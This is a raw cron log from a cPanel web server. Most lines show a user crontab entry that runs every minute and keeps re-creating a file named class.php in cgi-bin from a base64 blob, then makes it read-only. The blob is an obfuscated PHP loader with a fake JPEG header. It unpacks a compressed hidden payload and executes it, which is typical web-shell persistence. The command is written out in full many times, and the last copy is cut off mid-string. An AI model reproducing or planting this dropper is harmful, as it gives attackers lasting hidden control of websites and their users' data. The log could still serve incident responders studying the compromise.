Apr 11 23:02:01 server CROND[22365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:03:01 server CROND[22441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:04:01 server CROND[22504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:05:01 server CROND[22565]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:05:01 server CROND[22570]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 11 23:05:01 server CROND[22572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:05:01 server CROND[22573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:05:01 server CROND[22576]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 23:06:01 server CROND[22702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:07:01 server CROND[22860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:08:01 server CROND[22913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:09:01 server CROND[22974]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 23:09:01 server CROND[22975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:10:01 server CROND[23035]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 23:10:01 server CROND[23036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:10:01 server CROND[23037]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:10:01 server CROND[23038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:11:01 server CROND[23153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:12:01 server CROND[23314]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 23:12:01 server CROND[23315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:13:01 server CROND[23387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:14:01 server CROND[23493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:15:01 server CROND[23559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7